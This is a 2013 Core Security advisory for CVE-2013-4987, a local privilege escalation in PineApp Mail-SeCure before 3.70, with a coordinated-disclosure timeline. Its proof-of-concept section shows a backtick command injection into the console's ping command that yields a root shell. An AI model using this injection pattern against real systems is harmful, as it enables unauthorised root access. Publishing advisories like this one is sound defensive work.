Core Security - Corelabs Advisory
PinApp Mail-SeCure Access Control Failure
1. *Advisory Information*
Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Advisory URL:
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987
3. *Vulnerability Description*
A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite
[2], allowing a non-privileged attacker to get a root shell by sending a
specially crafted command from the Mail-SeCure console. A valid user
account is needed to launch the attack, so this is a privileged
escalation vulnerability that can be exploited locally only.
4. *Vulnerable Packages*
. All Mail-SeCure versions prior to 3.70.
5. *Non-Vulnerable Packages*
. Mail-SeCure 3.70 (revision Sep. 2013).
6. *Credits*
This vulnerability was discovered and researched by John Petrusa from
Core Security.
This report was coordinated by Fernando Miranda from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Open a Mail-SeCure console as 'pinapp' user and execute the following
command:
/-----
pa_cli> system ping `/bin/sh>/dev/tty`
-----/
As a result, you should be the super-user:
/-----
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root)
-----/
8. *Report Timeline*
. 2013-09-03:
Core Security Technologies attempts to contact vendor using the PinApp
official contact page [3]. No reply received. Publication date is set
for Sep 25th, 2013.
. 2013-09-09:
Core attempts to contact vendor.
. 2013-09-10:
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.
. 2013-09-10:
Technical details sent to the vendor.
. 2013-09-16:
Core asks for a status update.
. 2013-09-17:
Vendor notifies that they have a fix that will be included in the next
revision update.
. 2013-09-19:
Vendor notifies that they will probably release the patch next week.
. 2013-09-30:
Core asks if there is a patch available.
. 2013-10-01:
Vendor notifies that they have released a global update to all
Mail-SeCure units worldwide to block the below vulnerability.
. 2013-10-02:
Advisory CORE-2013-0904 published.
9. *References*
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
12. *Disclaimer*
The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
